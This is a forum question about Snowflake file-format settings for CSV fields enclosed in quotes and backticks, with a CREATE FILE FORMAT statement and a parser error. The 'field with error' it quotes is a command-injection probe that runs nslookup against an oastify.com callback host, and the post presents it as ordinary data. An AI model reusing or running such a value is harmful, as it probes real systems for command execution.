Snowflake File Format - How to handle double quotes and acute symbols when loading data in Snowflake

Question

I’m trying to load records into a table in Snowflake and some fields are enclosed with both double quotes and the acute symbol. It looks like there’s only 3 options for the field_optionally_enclosed_by file format and the acute symbol is not available. What is needed in the file format to load this data?

I have tried multiple things with the format (using hex values) and get the same snowflake error, (see below). I've also tried removing the field_optionally_enclosed_by but getting a different parsing error. I've also tried different record_delimiters but getting similar snowflake error (found character '' instead of field delimiter '')

Any help is greatly appreciated!

Snowflake File Format Used:

CREATE FILE FORMAT IF NOT EXISTS <format_name>

TYPE=CSV,

FIELD_DELIMITER ='\xC3\x9A',

RECORD_DELIMITER = '\n',

NULL_IF = 'NULL',

REPLACE_INVALID_CHARACTERS = TRUE,

ESCAPE = '\\',

ESCAPE_UNENCLOSED_FIELD = NONE,

FIELD_OPTIONALLY_ENCLOSED_BY = '”’;

Snowflake Error:

found character '`' instead of record delimiter '\n’

Field with Error (From file in S3):

mount'"`0&nslookup -q=cname 2fivzq4hj1s86ukok4mnaedds4yxmphde15owcl.oastify.com.&`'